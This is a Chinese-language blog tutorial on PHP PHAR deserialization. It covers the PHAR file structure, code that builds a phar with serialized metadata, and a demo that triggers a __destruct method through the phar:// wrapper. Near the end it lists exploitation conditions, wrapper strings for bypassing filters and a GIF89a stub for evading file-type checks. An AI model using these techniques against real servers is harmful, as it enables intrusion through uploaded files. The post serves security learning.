在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。

Phar需要 PHP >= 5.2
在php.ini中将phar.readonly设为Off(注意去掉前面的分号)

phar文件的结构

stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature (可空):签名,放在末尾。

其中meta-data是关键

在这里插入图片描述

有序列化数据必然会有反序列化操作,php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下:

在这里插入图片描述


具体怎么生成一个phar文件,来看一下例子

<?php
class Test{
    public $username = 'xiaolong';
}
$p = new Test();
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($p);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行后就会生成一个名为test.phar的phar文件
可以用十六进制编辑器打开查看test.phar

在这里插入图片描述

可以看到meta-data中的数据被序列化了
然后包含这个phar文件

//test_phar.php
<?php
class Test{
    function __destruct()
    {
        echo $this -> username;
    }
}
include('phar://test.phar');
?>

在这里插入图片描述

利用条件

  • phar文件要能够上传到服务器端。
  • 要有可用的魔术方法作为“跳板”。
  • 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

一些绕过方式

当环境限制了phar不能出现在前面的字符里

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar

验证文件格式

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");

初探phar://
利用 phar 拓展 php 反序列化漏洞攻击面

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏